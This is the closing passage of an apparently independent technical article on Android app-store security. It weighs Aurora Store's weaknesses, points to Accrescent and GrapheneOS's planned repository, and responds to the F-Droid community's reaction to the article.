If you don’t have Play services installed, you can use a third-party Play Store client called Aurora Store. Aurora Store has some issues of its own, and some of them overlap in fact with F-Droid. Aurora Store somehow still requires the legacy storage permission, has been known to sometimes retrieve wrong versions of apps, and distributed account tokens over cleartext HTTP until fairly recently; not that it matters much since tokens were designed to be shared between users, which is already concerning. I’d recommend against using the shared “anonymous” accounts feature: you should make your own throwaway account with minimal information.

Looking to the future

Accrescent is an up-and-coming app repository which strives to tackle the issues discussed here and more. Hopefully Accrescent or a project like it can flourish as a secure and open ecosystem for app delivery.

It’s also worth keeping an eye on the great work GrapheneOS does on their future app repository. It will serve as a simple, secure, modern app repository, albeit only for a curated list of high-quality apps, some of which will have their own builds.

Meta

This article aims to be purely technical. It is not an attack on F-Droid or their mission — it is meant as an informative piece for end users and a springboard for improvement of the F-Droid project.

In spite of this, the release of this article has unfortunately triggered a mostly negative response from the F-Droid team and some of their community, who seem to take a dismissive stance toward this article rather than bringing relevant counterpoints. Some of these individuals go as far as engaging in harassment campaigns against projects and security researchers that do not share their views; hopefully they realize that such unethical behavior undermines their own project and reputation. Creating a rift between developers and security researchers is not in anyone’s best interest.

Some individuals have also falsely associated this article with GrapheneOS. This article is an entirely independent work and unrelated to the GrapheneOS project. It was not written by a GrapheneOS developer and does not claim to represent the GrapheneOS project’s official stance. Either way, dismissing the article on the basis of association instead of addressing the actual technical content is silly and not helpful to anyone.